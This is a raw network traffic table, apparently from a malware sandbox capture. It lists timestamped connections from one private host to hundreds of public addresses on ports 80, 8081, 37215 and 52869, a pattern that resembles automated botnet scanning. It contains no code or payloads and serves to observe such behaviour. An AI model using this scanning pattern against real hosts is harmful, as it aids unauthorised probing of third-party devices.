Jul 20, 2024 23:10:40.376562119 CEST	80	59424	88.255.190.143	192.168.2.15
Jul 20, 2024 23:10:40.376900911 CEST	40478	80	192.168.2.15	88.188.190.129
Jul 20, 2024 23:10:40.376902103 CEST	38696	8081	192.168.2.15	59.207.243.209
Jul 20, 2024 23:10:40.376902103 CEST	37386	52869	192.168.2.15	152.242.221.75
Jul 20, 2024 23:10:40.376902103 CEST	47154	37215	192.168.2.15	41.123.206.73
Jul 20, 2024 23:10:40.376902103 CEST	47854	80	192.168.2.15	88.58.50.162
Jul 20, 2024 23:10:40.376902103 CEST	51870	8081	192.168.2.15	109.43.3.47
Jul 20, 2024 23:10:40.376902103 CEST	56338	8081	192.168.2.15	63.16.209.243
Jul 20, 2024 23:10:40.376902103 CEST	41928	52869	192.168.2.15	99.118.106.29
Jul 20, 2024 23:10:40.378371000 CEST	80	42662	88.126.87.180	192.168.2.15
Jul 20, 2024 23:10:40.378573895 CEST	8081	50948	109.43.3.47	192.168.2.15
Jul 20, 2024 23:10:40.378599882 CEST	52869	37910	90.4.66.163	192.168.2.15
Jul 20, 2024 23:10:40.378710985 CEST	8081	55418	63.16.209.243	192.168.2.15
Jul 20, 2024 23:10:40.379817009 CEST	49096	37215	192.168.2.15	197.136.106.52
Jul 20, 2024 23:10:40.379817009 CEST	59990	8081	192.168.2.15	140.197.167.36
Jul 20, 2024 23:10:40.379817009 CEST	53190	8081	192.168.2.15	136.254.84.193
Jul 20, 2024 23:10:40.379817009 CEST	34920	52869	192.168.2.15	178.153.143.199
Jul 20, 2024 23:10:40.379817009 CEST	43708	80	192.168.2.15	88.126.87.180
Jul 20, 2024 23:10:40.379817009 CEST	35578	37215	192.168.2.15	41.180.153.162
Jul 20, 2024 23:10:40.380316019 CEST	41696	80	192.168.2.15	88.174.33.120
Jul 20, 2024 23:10:40.380316973 CEST	58182	8081	192.168.2.15	98.32.247.128
Jul 20, 2024 23:10:40.380316973 CEST	48444	8081	192.168.2.15	79.84.60.251
Jul 20, 2024 23:10:40.380316973 CEST	39632	8081	192.168.2.15	124.113.55.225
Jul 20, 2024 23:10:40.380316973 CEST	51308	80	192.168.2.15	88.80.210.128
Jul 20, 2024 23:10:40.380316973 CEST	36006	37215	192.168.2.15	64.161.87.250
Jul 20, 2024 23:10:40.380316973 CEST	55484	80	192.168.2.15	88.115.2.250
Jul 20, 2024 23:10:40.380316973 CEST	56428	52869	192.168.2.15	126.171.98.117
Jul 20, 2024 23:10:40.380798101 CEST	8081	58682	39.109.155.171	192.168.2.15
Jul 20, 2024 23:10:40.381280899 CEST	39460	8081	192.168.2.15	188.77.70.4
Jul 20, 2024 23:10:40.381280899 CEST	54778	52869	192.168.2.15	203.62.78.235
Jul 20, 2024 23:10:40.381280899 CEST	54530	8081	192.168.2.15	193.51.219.44
Jul 20, 2024 23:10:40.381280899 CEST	34744	37215	192.168.2.15	41.238.31.136
Jul 20, 2024 23:10:40.381280899 CEST	54870	8081	192.168.2.15	24.230.85.184
Jul 20, 2024 23:10:40.381280899 CEST	49720	52869	192.168.2.15	210.2.46.1
Jul 20, 2024 23:10:40.381280899 CEST	59368	52869	192.168.2.15	32.52.148.97
Jul 20, 2024 23:10:40.381280899 CEST	58524	37215	192.168.2.15	157.61.187.214
Jul 20, 2024 23:10:40.381658077 CEST	80	50840	88.97.87.84	192.168.2.15
Jul 20, 2024 23:10:40.381731033 CEST	8081	51240	96.174.40.204	192.168.2.15
Jul 20, 2024 23:10:40.381757021 CEST	80	47046	88.180.237.224	192.168.2.15
Jul 20, 2024 23:10:40.382739067 CEST	43734	52869	192.168.2.15	203.39.100.182
Jul 20, 2024 23:10:40.382740021 CEST	60874	52869	192.168.2.15	206.49.109.215
Jul 20, 2024 23:10:40.382740021 CEST	52482	80	192.168.2.15	88.166.84.21
Jul 20, 2024 23:10:40.382740021 CEST	44272	8081	192.168.2.15	104.127.16.83
Jul 20, 2024 23:10:40.382740021 CEST	38748	52869	192.168.2.15	90.4.66.163
Jul 20, 2024 23:10:40.382893085 CEST	8081	40410	31.8.205.246	192.168.2.15
Jul 20, 2024 23:10:40.384124994 CEST	52160	8081	192.168.2.15	96.174.40.204
Jul 20, 2024 23:10:40.384752035 CEST	35766	8081	192.168.2.15	220.76.9.69
Jul 20, 2024 23:10:40.384752035 CEST	33956	80	192.168.2.15	88.102.2.6
Jul 20, 2024 23:10:40.384752035 CEST	42874	37215	192.168.2.15	49.223.157.49
Jul 20, 2024 23:10:40.384752035 CEST	44286	80	192.168.2.15	88.45.23.189
Jul 20, 2024 23:10:40.385584116 CEST	58396	8081	192.168.2.15	53.134.227.78
Jul 20, 2024 23:10:40.385584116 CEST	54366	80	192.168.2.15	88.166.76.121
Jul 20, 2024 23:10:40.385584116 CEST	55798	8081	192.168.2.15	24.230.85.184
Jul 20, 2024 23:10:40.385584116 CEST	55094	80	192.168.2.15	88.239.107.91
Jul 20, 2024 23:10:40.385584116 CEST	49072	52869	192.168.2.15	109.51.3.47
Jul 20, 2024 23:10:40.385584116 CEST	37954	80	192.168.2.15	88.137.64.145
Jul 20, 2024 23:10:40.385584116 CEST	54186	37215	192.168.2.15	41.21.7.132
Jul 20, 2024 23:10:40.385584116 CEST	38680	80	192.168.2.15	88.123.146.21
Jul 20, 2024 23:10:40.386185884 CEST	48822	8081	192.168.2.15	151.208.135.249
Jul 20, 2024 23:10:40.386185884 CEST	34380	80	192.168.2.15	88.14.192.250
Jul 20, 2024 23:10:40.386185884 CEST	33168	8081	192.168.2.15	60.13.47.181
Jul 20, 2024 23:10:40.386185884 CEST	42984	8081	192.168.2.15	101.27.114.183
Jul 20, 2024 23:10:40.386185884 CEST	47484	80	192.168.2.15	88.117.202.28
Jul 20, 2024 23:10:40.386185884 CEST	60592	8081	192.168.2.15	103.141.108.85
Jul 20, 2024 23:10:40.386185884 CEST	40292	52869	192.168.2.15	133.58.253.32
Jul 20, 2024 23:10:40.386185884 CEST	52952	37215	192.168.2.15	116.138.138.226
Jul 20, 2024 23:10:40.387940884 CEST	59598	8081	192.168.2.15	39.109.155.171
Jul 20, 2024 23:10:40.387940884 CEST	57238	37215	192.168.2.15	41.152.10.195
Jul 20, 2024 23:10:40.387940884 CEST	59424	80	192.168.2.15	88.255.190.143
Jul 20, 2024 23:10:40.388591051 CEST	34204	80	192.168.2.15	88.131.16.171
Jul 20, 2024 23:10:40.388591051 CEST	40270	37215	192.168.2.15	197.243.62.202
Jul 20, 2024 23:10:40.388591051 CEST	43740	8081	192.168.2.15	156.118.202.241
Jul 20, 2024 23:10:40.388591051 CEST	48258	80	192.168.2.15	88.45.173.219
Jul 20, 2024 23:10:40.388591051 CEST	44624	8081	192.168.2.15	218.163.113.131
Jul 20, 2024 23:10:40.388591051 CEST	60482	80	192.168.2.15	88.255.190.143
Jul 20, 2024 23:10:40.388591051 CEST	47902	52869	192.168.2.15	146.67.192.198
Jul 20, 2024 23:10:40.399029016 CEST	51928	80	192.168.2.15	88.97.87.84
Jul 20, 2024 23:10:40.399029016 CEST	37816	8081	192.168.2.15	209.233.239.62
Jul 20, 2024 23:10:40.399029016 CEST	43080	37215	192.168.2.15	133.236.123.161
Jul 20, 2024 23:10:40.399029016 CEST	57840	80	192.168.2.15	88.17.190.109
Jul 20, 2024 23:10:40.399029016 CEST	47348	8081	192.168.2.15	191.77.173.179
Jul 20, 2024 23:10:40.399029016 CEST	58580	80	192.168.2.15	88.7.110.43
Jul 20, 2024 23:10:40.399029016 CEST	33750	37215	192.168.2.15	157.88.156.88
Jul 20, 2024 23:10:40.399029016 CEST	40044	37215	192.168.2.15	157.89.121.43
Jul 20, 2024 23:10:40.399997950 CEST	56918	37215	192.168.2.15	117.238.162.201
Jul 20, 2024 23:10:40.399997950 CEST	37488	52869	192.168.2.15	89.186.152.105
Jul 20, 2024 23:10:40.399997950 CEST	59932	37215	192.168.2.15	41.230.50.79
Jul 20, 2024 23:10:40.399997950 CEST	47494	52869	192.168.2.15	222.46.101.20
Jul 20, 2024 23:10:40.455590963 CEST	40086	80	192.168.2.15	88.86.198.212
Jul 20, 2024 23:10:40.455590963 CEST	40086	80	192.168.2.15	88.86.198.212
Jul 20, 2024 23:10:40.456017017 CEST	60790	8081	192.168.2.15	128.22.65.203
Jul 20, 2024 23:10:40.456125975 CEST	59396	37215	192.168.2.15	197.58.251.46
Jul 20, 2024 23:10:40.456825018 CEST	80	54012	88.239.107.91	192.168.2.15
Jul 20, 2024 23:10:40.456846952 CEST	80	46686	88.208.60.45	192.168.2.15
Jul 20, 2024 23:10:40.460026026 CEST	52869	48858	210.2.46.1	192.168.2.15
Jul 20, 2024 23:10:40.460078001 CEST	80	41534	88.139.130.203	192.168.2.15
Jul 20, 2024 23:10:40.461173058 CEST	52869	54092	13.3.106.56	192.168.2.15
Jul 20, 2024 23:10:40.461184025 CEST	8081	52796	196.239.70.8	192.168.2.15
Jul 20, 2024 23:10:40.461210966 CEST	52869	47514	169.249.196.201	192.168.2.15
Jul 20, 2024 23:10:40.461309910 CEST	80	53282	88.166.76.121	192.168.2.15
Jul 20, 2024 23:10:40.461462975 CEST	8081	57618	93.134.175.245	192.168.2.15
Jul 20, 2024 23:10:40.461570024 CEST	8081	60478	60.13.47.181	192.168.2.15
Jul 20, 2024 23:10:40.461596012 CEST	52869	43734	203.39.100.182	192.168.2.15
Jul 20, 2024 23:10:40.461608887 CEST	8081	42060	101.27.114.183	192.168.2.15
Jul 20, 2024 23:10:40.461663008 CEST	8081	47906	151.208.135.249	192.168.2.15
Jul 20, 2024 23:10:40.461682081 CEST	8081	34462	59.64.211.16	192.168.2.15
Jul 20, 2024 23:10:40.461699963 CEST	80	55976	88.190.112.126	192.168.2.15
Jul 20, 2024 23:10:40.461709023 CEST	8081	46142	42.75.70.65	192.168.2.15
Jul 20, 2024 23:10:40.461797953 CEST	52869	58502	32.52.148.97	192.168.2.15
Jul 20, 2024 23:10:40.461806059 CEST	80	33292	88.14.192.250	192.168.2.15
Jul 20, 2024 23:10:40.461997986 CEST	80	40086	88.86.198.212	192.168.2.15
Jul 20, 2024 23:10:40.468240023 CEST	8081	48766	129.96.11.55	192.168.2.15
Jul 20, 2024 23:10:40.468312025 CEST	8081	59874	128.22.65.203	192.168.2.15
Jul 20, 2024 23:10:40.468312979 CEST	80	45520	88.203.15.239	192.168.2.15
Jul 20, 2024 23:10:40.468341112 CEST	52869	39414	133.58.253.32	192.168.2.15
Jul 20, 2024 23:10:40.481631041 CEST	37215	59396	197.58.251.46	192.168.2.15
Jul 20, 2024 23:10:40.481647968 CEST	8081	32992	158.32.146.168	192.168.2.15
Jul 20, 2024 23:10:40.481667042 CEST	8081	38786	38.56.107.193	192.168.2.15
Jul 20, 2024 23:10:40.481708050 CEST	52869	49796	151.94.173.235	192.168.2.15
Jul 20, 2024 23:10:40.481714964 CEST	80	56752	88.17.190.109	192.168.2.15
Jul 20, 2024 23:10:40.481760979 CEST	8081	39460	188.77.70.4	192.168.2.15
Jul 20, 2024 23:10:40.481794119 CEST	8081	57468	53.134.227.78	192.168.2.15
Jul 20, 2024 23:10:40.482120037 CEST	59396	37215	192.168.2.15	197.58.251.46
Jul 20, 2024 23:10:40.484668970 CEST	80	37358	88.206.157.252	192.168.2.15
Jul 20, 2024 23:10:40.484678984 CEST	80	54398	88.115.2.250	192.168.2.15
Jul 20, 2024 23:10:40.484697104 CEST	80	43254	88.45.23.189	192.168.2.15
Jul 20, 2024 23:10:40.484711885 CEST	80	52432	88.53.212.206	192.168.2.15
Jul 20, 2024 23:10:40.484721899 CEST	52869	51758	65.211.208.187	192.168.2.15
Jul 20, 2024 23:10:40.484729052 CEST	8081	38634	193.73.82.86	192.168.2.15
Jul 20, 2024 23:10:40.484730005 CEST	8081	46422	191.77.173.179	192.168.2.15
Jul 20, 2024 23:10:40.484800100 CEST	8081	42224	213.200.213.234	192.168.2.15
Jul 20, 2024 23:10:40.484813929 CEST	52869	55586	126.171.98.117	192.168.2.15
Jul 20, 2024 23:10:40.484817028 CEST	80	57496	88.7.110.43	192.168.2.15
Jul 20, 2024 23:10:40.484857082 CEST	52869	48182	109.51.3.47	192.168.2.15
Jul 20, 2024 23:10:40.484908104 CEST	8081	59664	103.141.108.85	192.168.2.15
Jul 20, 2024 23:10:40.484909058 CEST	80	39232	88.192.255.224	192.168.2.15
Jul 20, 2024 23:10:40.484922886 CEST	8081	54870	24.230.85.184	192.168.2.15
Jul 20, 2024 23:10:40.484924078 CEST	8081	37816	209.233.239.62	192.168.2.15
Jul 20, 2024 23:10:40.484925032 CEST	8081	60790	128.22.65.203	192.168.2.15
Jul 20, 2024 23:10:40.484978914 CEST	60790	8081	192.168.2.15	128.22.65.203
Jul 20, 2024 23:10:40.490592003 CEST	41110	80	192.168.2.15	88.86.198.212
Jul 20, 2024 23:10:40.490688086 CEST	44962	8081	192.168.2.15	211.111.42.56
Jul 20, 2024 23:10:40.491192102 CEST	44962	8081	192.168.2.15	211.111.42.56
Jul 20, 2024 23:10:40.491838932 CEST	45876	8081	192.168.2.15	211.111.42.56
Jul 20, 2024 23:10:40.491983891 CEST	60056	52869	192.168.2.15	118.155.226.123
Jul 20, 2024 23:10:40.494101048 CEST	44244	8081	192.168.2.15	118.85.135.168
Jul 20, 2024 23:10:40.494256020 CEST	44244	8081	192.168.2.15	118.85.135.168
Jul 20, 2024 23:10:40.495330095 CEST	38080	80	192.168.2.15	88.68.210.140
Jul 20, 2024 23:10:40.495330095 CEST	38080	80	192.168.2.15	88.68.210.140
Jul 20, 2024 23:10:40.496562004 CEST	80	41110	88.86.198.212	192.168.2.15
Jul 20, 2024 23:10:40.496577978 CEST	8081	44962	211.111.42.56	192.168.2.15
Jul 20, 2024 23:10:40.496589899 CEST	36836	37215	192.168.2.15	115.19.25.169
Jul 20, 2024 23:10:40.496589899 CEST	39098	80	192.168.2.15	88.68.210.140
Jul 20, 2024 23:10:40.496650934 CEST	41110	80	192.168.2.15	88.86.198.212
Jul 20, 2024 23:10:40.496738911 CEST	45158	8081	192.168.2.15	118.85.135.168
Jul 20, 2024 23:10:40.497040987 CEST	8081	45876	211.111.42.56	192.168.2.15
Jul 20, 2024 23:10:40.497083902 CEST	45876	8081	192.168.2.15	211.111.42.56
Jul 20, 2024 23:10:40.497535944 CEST	52869	60056	118.155.226.123	192.168.2.15
Jul 20, 2024 23:10:40.497580051 CEST	60056	52869	192.168.2.15	118.155.226.123
Jul 20, 2024 23:10:40.499254942 CEST	33744	80	192.168.2.15	88.114.90.66
Jul 20, 2024 23:10:40.499361038 CEST	33744	80	192.168.2.15	88.114.90.66
Jul 20, 2024 23:10:40.499660969 CEST	47314	37215	192.168.2.15	41.200.3.16
Jul 20, 2024 23:10:40.500406981 CEST	46252	8081	192.168.2.15	103.43.41.37
Jul 20, 2024 23:10:40.500406981 CEST	46252	8081	192.168.2.15	103.43.41.37
Jul 20, 2024 23:10:40.501648903 CEST	8081	44244	118.85.135.168	192.168.2.15
Jul 20, 2024 23:10:40.501661062 CEST	34754	80	192.168.2.15	88.114.90.66
Jul 20, 2024 23:10:40.501949072 CEST	47164	8081	192.168.2.15	103.43.41.37
Jul 20, 2024 23:10:40.502032995 CEST	49970	52869	192.168.2.15	164.168.209.243
Jul 20, 2024 23:10:40.502310038 CEST	80	38080	88.68.210.140	192.168.2.15
Jul 20, 2024 23:10:40.502648115 CEST	37215	36836	115.19.25.169	192.168.2.15
Jul 20, 2024 23:10:40.502703905 CEST	36836	37215	192.168.2.15	115.19.25.169
Jul 20, 2024 23:10:40.503544092 CEST	8081	45158	118.85.135.168	192.168.2.15
Jul 20, 2024 23:10:40.503602982 CEST	45158	8081	192.168.2.15	118.85.135.168
Jul 20, 2024 23:10:40.503742933 CEST	52086	80	192.168.2.15	88.9.81.209
Jul 20, 2024 23:10:40.503742933 CEST	52086	80	192.168.2.15	88.9.81.209
Jul 20, 2024 23:10:40.503745079 CEST	80	39098	88.68.210.140	192.168.2.15
Jul 20, 2024 23:10:40.503778934 CEST	39098	80	192.168.2.15	88.68.210.140
Jul 20, 2024 23:10:40.504203081 CEST	58060	8081	192.168.2.15	98.210.157.20
Jul 20, 2024 23:10:40.504257917 CEST	80	33744	88.114.90.66	192.168.2.15
Jul 20, 2024 23:10:40.504344940 CEST	58060	8081	192.168.2.15	98.210.157.20
Jul 20, 2024 23:10:40.504430056 CEST	48602	37215	192.168.2.15	157.131.188.191
Jul 20, 2024 23:10:40.504798889 CEST	37215	47314	41.200.3.16	192.168.2.15
Jul 20, 2024 23:10:40.504894972 CEST	47314	37215	192.168.2.15	41.200.3.16
Jul 20, 2024 23:10:40.505301952 CEST	80	40086	88.86.198.212	192.168.2.15
Jul 20, 2024 23:10:40.505513906 CEST	8081	46252	103.43.41.37	192.168.2.15
Jul 20, 2024 23:10:40.505568981 CEST	53090	80	192.168.2.15	88.9.81.209
Jul 20, 2024 23:10:40.505897999 CEST	58972	8081	192.168.2.15	98.210.157.20
Jul 20, 2024 23:10:40.507251024 CEST	80	34754	88.114.90.66	192.168.2.15
Jul 20, 2024 23:10:40.507297039 CEST	34754	80	192.168.2.15	88.114.90.66
Jul 20, 2024 23:10:40.507298946 CEST	52869	49970	164.168.209.243	192.168.2.15
Jul 20, 2024 23:10:40.507338047 CEST	49970	52869	192.168.2.15	164.168.209.243
Jul 20, 2024 23:10:40.507549047 CEST	8081	47164	103.43.41.37	192.168.2.15
Jul 20, 2024 23:10:40.507592916 CEST	47164	8081	192.168.2.15	103.43.41.37
Jul 20, 2024 23:10:40.508284092 CEST	42414	80	192.168.2.15	88.38.225.220
Jul 20, 2024 23:10:40.508284092 CEST	42414	80	192.168.2.15	88.38.225.220
Jul 20, 2024 23:10:40.508527994 CEST	37868	8081	192.168.2.15	143.93.205.194
Jul 20, 2024 23:10:40.508527994 CEST	37868	8081	192.168.2.15	143.93.205.194
Jul 20, 2024 23:10:40.508760929 CEST	80	52086	88.9.81.209	192.168.2.15
Jul 20, 2024 23:10:40.508795023 CEST	45884	37215	192.168.2.15	157.106.18.30
Jul 20, 2024 23:10:40.509372950 CEST	8081	58060	98.210.157.20	192.168.2.15
Jul 20, 2024 23:10:40.509414911 CEST	37215	48602	157.131.188.191	192.168.2.15
Jul 20, 2024 23:10:40.509454012 CEST	48602	37215	192.168.2.15	157.131.188.191
Jul 20, 2024 23:10:40.509731054 CEST	38776	8081	192.168.2.15	143.93.205.194
Jul 20, 2024 23:10:40.509905100 CEST	37538	52869	192.168.2.15	106.69.59.16
Jul 20, 2024 23:10:40.510632992 CEST	43414	80	192.168.2.15	88.38.225.220
Jul 20, 2024 23:10:40.510818005 CEST	80	53090	88.9.81.209	192.168.2.15
Jul 20, 2024 23:10:40.510885954 CEST	53090	80	192.168.2.15	88.9.81.209
Jul 20, 2024 23:10:40.511343002 CEST	8081	58972	98.210.157.20	192.168.2.15
Jul 20, 2024 23:10:40.511425972 CEST	58972	8081	192.168.2.15	98.210.157.20
Jul 20, 2024 23:10:40.511787891 CEST	41256	8081	192.168.2.15	19.32.100.158
Jul 20, 2024 23:10:40.511787891 CEST	41256	8081	192.168.2.15	19.32.100.158
Jul 20, 2024 23:10:40.512392044 CEST	38116	80	192.168.2.15	88.30.5.37
Jul 20, 2024 23:10:40.512392044 CEST	38116	80	192.168.2.15	88.30.5.37
Jul 20, 2024 23:10:40.512811899 CEST	53814	37215	192.168.2.15	197.40.81.92
Jul 20, 2024 23:10:40.513250113 CEST	42164	8081	192.168.2.15	19.32.100.158
Jul 20, 2024 23:10:40.513710022 CEST	80	42414	88.38.225.220	192.168.2.15
Jul 20, 2024 23:10:40.513724089 CEST	8081	37868	143.93.205.194	192.168.2.15
Jul 20, 2024 23:10:40.513911963 CEST	39108	80	192.168.2.15	88.30.5.37
Jul 20, 2024 23:10:40.515003920 CEST	37215	45884	157.106.18.30	192.168.2.15
Jul 20, 2024 23:10:40.515041113 CEST	45884	37215	192.168.2.15	157.106.18.30
Jul 20, 2024 23:10:40.515079975 CEST	57394	8081	192.168.2.15	13.15.212.143
Jul 20, 2024 23:10:40.515079975 CEST	57394	8081	192.168.2.15	13.15.212.143
Jul 20, 2024 23:10:40.515161991 CEST	8081	38776	143.93.205.194	192.168.2.15
Jul 20, 2024 23:10:40.515440941 CEST	52869	37538	106.69.59.16	192.168.2.15
Jul 20, 2024 23:10:40.515477896 CEST	38776	8081	192.168.2.15	143.93.205.194
Jul 20, 2024 23:10:40.515480042 CEST	37538	52869	192.168.2.15	106.69.59.16
Jul 20, 2024 23:10:40.515974045 CEST	80	43414	88.38.225.220	192.168.2.15
Jul 20, 2024 23:10:40.516016960 CEST	43414	80	192.168.2.15	88.38.225.220
Jul 20, 2024 23:10:40.516316891 CEST	52870	80	192.168.2.15	88.72.94.182
Jul 20, 2024 23:10:40.516318083 CEST	52870	80	192.168.2.15	88.72.94.182
Jul 20, 2024 23:10:40.516509056 CEST	58298	8081	192.168.2.15	13.15.212.143
Jul 20, 2024 23:10:40.516582012 CEST	47516	52869	192.168.2.15	63.97.65.81
Jul 20, 2024 23:10:40.517398119 CEST	60454	37215	192.168.2.15	157.76.73.5
Jul 20, 2024 23:10:40.517499924 CEST	8081	41256	19.32.100.158	192.168.2.15
Jul 20, 2024 23:10:40.517597914 CEST	80	38116	88.30.5.37	192.168.2.15
Jul 20, 2024 23:10:40.517849922 CEST	53856	80	192.168.2.15	88.72.94.182
Jul 20, 2024 23:10:40.518201113 CEST	51440	8081	192.168.2.15	206.8.55.164
Jul 20, 2024 23:10:40.518201113 CEST	51440	8081	192.168.2.15	206.8.55.164
Jul 20, 2024 23:10:40.519105911 CEST	37215	53814	197.40.81.92	192.168.2.15
Jul 20, 2024 23:10:40.519136906 CEST	53814	37215	192.168.2.15	197.40.81.92
Jul 20, 2024 23:10:40.519162893 CEST	8081	42164	19.32.100.158	192.168.2.15
Jul 20, 2024 23:10:40.519198895 CEST	42164	8081	192.168.2.15	19.32.100.158
Jul 20, 2024 23:10:40.519818068 CEST	49590	80	192.168.2.15	88.148.148.170
Jul 20, 2024 23:10:40.519912958 CEST	52344	8081	192.168.2.15	206.8.55.164
Jul 20, 2024 23:10:40.519917965 CEST	80	39108	88.30.5.37	192.168.2.15
Jul 20, 2024 23:10:40.519968033 CEST	39108	80	192.168.2.15	88.30.5.37
Jul 20, 2024 23:10:40.519984961 CEST	49590	80	192.168.2.15	88.148.148.170
Jul 20, 2024 23:10:40.520380020 CEST	8081	57394	13.15.212.143	192.168.2.15
Jul 20, 2024 23:10:40.520834923 CEST	43890	37215	192.168.2.15	157.182.237.139
Jul 20, 2024 23:10:40.521593094 CEST	50574	80	192.168.2.15	88.148.148.170
Jul 20, 2024 23:10:40.521667957 CEST	80	52870	88.72.94.182	192.168.2.15
Jul 20, 2024 23:10:40.521708012 CEST	55670	8081	192.168.2.15	40.80.153.52
Jul 20, 2024 23:10:40.521708012 CEST	55670	8081	192.168.2.15	40.80.153.52
Jul 20, 2024 23:10:40.522102118 CEST	8081	58298	13.15.212.143	192.168.2.15
Jul 20, 2024 23:10:40.522181988 CEST	52869	47516	63.97.65.81	192.168.2.15
Jul 20, 2024 23:10:40.522200108 CEST	58298	8081	192.168.2.15	13.15.212.143
Jul 20, 2024 23:10:40.522253990 CEST	47516	52869	192.168.2.15	63.97.65.81
Jul 20, 2024 23:10:40.522870064 CEST	56572	8081	192.168.2.15	40.80.153.52
Jul 20, 2024 23:10:40.522970915 CEST	47404	52869	192.168.2.15	65.78.88.55
Jul 20, 2024 23:10:40.523638010 CEST	52976	80	192.168.2.15	88.126.200.244
Jul 20, 2024 23:10:40.523638010 CEST	52976	80	192.168.2.15	88.126.200.244
Jul 20, 2024 23:10:40.523994923 CEST	47976	37215	192.168.2.15	148.185.232.135
Jul 20, 2024 23:10:40.524843931 CEST	58462	8081	192.168.2.15	95.238.91.109
Jul 20, 2024 23:10:40.524843931 CEST	58462	8081	192.168.2.15	95.238.91.109
Jul 20, 2024 23:10:40.525424004 CEST	53958	80	192.168.2.15	88.126.200.244
Jul 20, 2024 23:10:40.526247978 CEST	37215	60454	157.76.73.5	192.168.2.15
Jul 20, 2024 23:10:40.526281118 CEST	80	53856	88.72.94.182	192.168.2.15
Jul 20, 2024 23:10:40.526293993 CEST	60454	37215	192.168.2.15	157.76.73.5
Jul 20, 2024 23:10:40.526295900 CEST	8081	51440	206.8.55.164	192.168.2.15
Jul 20, 2024 23:10:40.526313066 CEST	53856	80	192.168.2.15	88.72.94.182
Jul 20, 2024 23:10:40.526634932 CEST	59364	8081	192.168.2.15	95.238.91.109
Jul 20, 2024 23:10:40.527590990 CEST	48578	80	192.168.2.15	88.220.223.245
Jul 20, 2024 23:10:40.527590990 CEST	48578	80	192.168.2.15	88.220.223.245
Jul 20, 2024 23:10:40.527932882 CEST	52726	37215	192.168.2.15	157.145.75.170
Jul 20, 2024 23:10:40.528772116 CEST	35900	8081	192.168.2.15	9.175.217.225
Jul 20, 2024 23:10:40.528772116 CEST	35900	8081	192.168.2.15	9.175.217.225
Jul 20, 2024 23:10:40.528791904 CEST	80	49590	88.148.148.170	192.168.2.15
Jul 20, 2024 23:10:40.528826952 CEST	8081	52344	206.8.55.164	192.168.2.15
Jul 20, 2024 23:10:40.528876066 CEST	37215	43890	157.182.237.139	192.168.2.15
Jul 20, 2024 23:10:40.528886080 CEST	52344	8081	192.168.2.15	206.8.55.164
Jul 20, 2024 23:10:40.528906107 CEST	80	50574	88.148.148.170	192.168.2.15
Jul 20, 2024 23:10:40.528923035 CEST	8081	55670	40.80.153.52	192.168.2.15
Jul 20, 2024 23:10:40.528923035 CEST	43890	37215	192.168.2.15	157.182.237.139
Jul 20, 2024 23:10:40.528938055 CEST	8081	56572	40.80.153.52	192.168.2.15
Jul 20, 2024 23:10:40.528970957 CEST	50574	80	192.168.2.15	88.148.148.170
Jul 20, 2024 23:10:40.529201984 CEST	56572	8081	192.168.2.15	40.80.153.52
Jul 20, 2024 23:10:40.529251099 CEST	52869	47404	65.78.88.55	192.168.2.15
Jul 20, 2024 23:10:40.529299974 CEST	47404	52869	192.168.2.15	65.78.88.55
Jul 20, 2024 23:10:40.529411077 CEST	49560	80	192.168.2.15	88.220.223.245
Jul 20, 2024 23:10:40.529448986 CEST	80	52976	88.126.200.244	192.168.2.15
Jul 20, 2024 23:10:40.529506922 CEST	37215	47976	148.185.232.135	192.168.2.15
Jul 20, 2024 23:10:40.530107975 CEST	47976	37215	192.168.2.15	148.185.232.135
Jul 20, 2024 23:10:40.530388117 CEST	8081	58462	95.238.91.109	192.168.2.15
Jul 20, 2024 23:10:40.530443907 CEST	36800	8081	192.168.2.15	9.175.217.225
Jul 20, 2024 23:10:40.530491114 CEST	52400	52869	192.168.2.15	184.170.67.27
Jul 20, 2024 23:10:40.531102896 CEST	80	53958	88.126.200.244	192.168.2.15
Jul 20, 2024 23:10:40.531140089 CEST	53958	80	192.168.2.15	88.126.200.244
Jul 20, 2024 23:10:40.532752037 CEST	8081	59364	95.238.91.109	192.168.2.15
Jul 20, 2024 23:10:40.532798052 CEST	59364	8081	192.168.2.15	95.238.91.109
Jul 20, 2024 23:10:40.532876968 CEST	80	48578	88.220.223.245	192.168.2.15
Jul 20, 2024 23:10:40.533097029 CEST	55930	80	192.168.2.15	88.157.224.130
Jul 20, 2024 23:10:40.533097029 CEST	55930	80	192.168.2.15	88.157.224.130
Jul 20, 2024 23:10:40.533344984 CEST	56936	8081	192.168.2.15	73.50.217.173
Jul 20, 2024 23:10:40.533344984 CEST	56936	8081	192.168.2.15	73.50.217.173
Jul 20, 2024 23:10:40.533539057 CEST	38834	37215	192.168.2.15	172.191.63.12
Jul 20, 2024 23:10:40.534929991 CEST	56910	80	192.168.2.15	88.157.224.130
Jul 20, 2024 23:10:40.535392046 CEST	57836	8081	192.168.2.15	73.50.217.173
Jul 20, 2024 23:10:40.536746979 CEST	47902	80	192.168.2.15	88.213.118.236
Jul 20, 2024 23:10:40.536868095 CEST	39474	8081	192.168.2.15	158.147.222.64
Jul 20, 2024 23:10:40.536869049 CEST	39474	8081	192.168.2.15	158.147.222.64
Jul 20, 2024 23:10:40.536981106 CEST	47902	80	192.168.2.15	88.213.118.236
Jul 20, 2024 23:10:40.537524939 CEST	48632	37215	192.168.2.15	158.185.201.45
Jul 20, 2024 23:10:40.537842989 CEST	37215	52726	157.145.75.170	192.168.2.15
Jul 20, 2024 23:10:40.537887096 CEST	52726	37215	192.168.2.15	157.145.75.170
Jul 20, 2024 23:10:40.538162947 CEST	8081	35900	9.175.217.225	192.168.2.15
Jul 20, 2024 23:10:40.538177967 CEST	80	49560	88.220.223.245	192.168.2.15
Jul 20, 2024 23:10:40.538216114 CEST	49560	80	192.168.2.15	88.220.223.245
Jul 20, 2024 23:10:40.538487911 CEST	40370	8081	192.168.2.15	158.147.222.64
Jul 20, 2024 23:10:40.538602114 CEST	38332	52869	192.168.2.15	92.216.196.59
Jul 20, 2024 23:10:40.539249897 CEST	48886	80	192.168.2.15	88.213.118.236
Jul 20, 2024 23:10:40.540255070 CEST	55580	8081	192.168.2.15	62.94.176.238
Jul 20, 2024 23:10:40.540255070 CEST	55580	8081	192.168.2.15	62.94.176.238
Jul 20, 2024 23:10:40.540628910 CEST	8081	36800	9.175.217.225	192.168.2.15
Jul 20, 2024 23:10:40.540649891 CEST	52869	52400	184.170.67.27	192.168.2.15
Jul 20, 2024 23:10:40.540677071 CEST	80	55930	88.157.224.130	192.168.2.15
Jul 20, 2024 23:10:40.540693045 CEST	52400	52869	192.168.2.15	184.170.67.27
Jul 20, 2024 23:10:40.540704012 CEST	37215	38834	172.191.63.12	192.168.2.15
Jul 20, 2024 23:10:40.540757895 CEST	38834	37215	192.168.2.15	172.191.63.12
